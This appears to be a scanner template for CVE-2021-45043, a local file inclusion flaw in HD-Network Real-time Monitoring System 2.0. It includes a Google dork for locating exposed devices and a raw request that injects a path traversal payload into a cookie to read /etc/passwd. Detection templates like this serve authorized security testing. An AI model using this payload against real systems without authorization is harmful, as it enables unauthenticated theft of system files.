id: CVE-2021-45043

info:
  name: HD-Network Real-time Monitoring System 2.0 - Local File Inclusion
  author: Momen Eldawakhly,Evan Rubinstein
  severity: high
  description: Instances of HD-Netowrk Real-time Monitoring System version 2.0 are vulnerable to a Local File Inclusion (LFI) vulnerability which allows remote unauthenticate attackers to view important, confidnetial information.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45043
    - https://www.exploit-db.com/exploits/50588
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45043
    - https://cyberguy0xd1.medium.com/my-cve-2021-45043-lfi-write-up-441dad30dd7f
  metadata:
    google-dork: intitle:"HD-Network Real-time Monitoring System V2.0"
  tags: cve,cve2021,hdnetwork,lfi,iot,camera
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.50
    cve-id: CVE-2021-45043
    cwe-id: CWE-22

requests:
  - raw:
      - |
        GET /language/lang HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}
        Cookie: s_asptitle=HD-Network%20Real-time%20Monitoring%20System%20V2.0; s_Language=../../../../../../../../../../../../../../etc/passwd; s_browsertype=2; s_ip=; s_port=; s_channum=; s_loginhandle=; s_httpport=; s_sn=; s_type=; s_devtype=

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0"

      - type: status
        status:
          - 200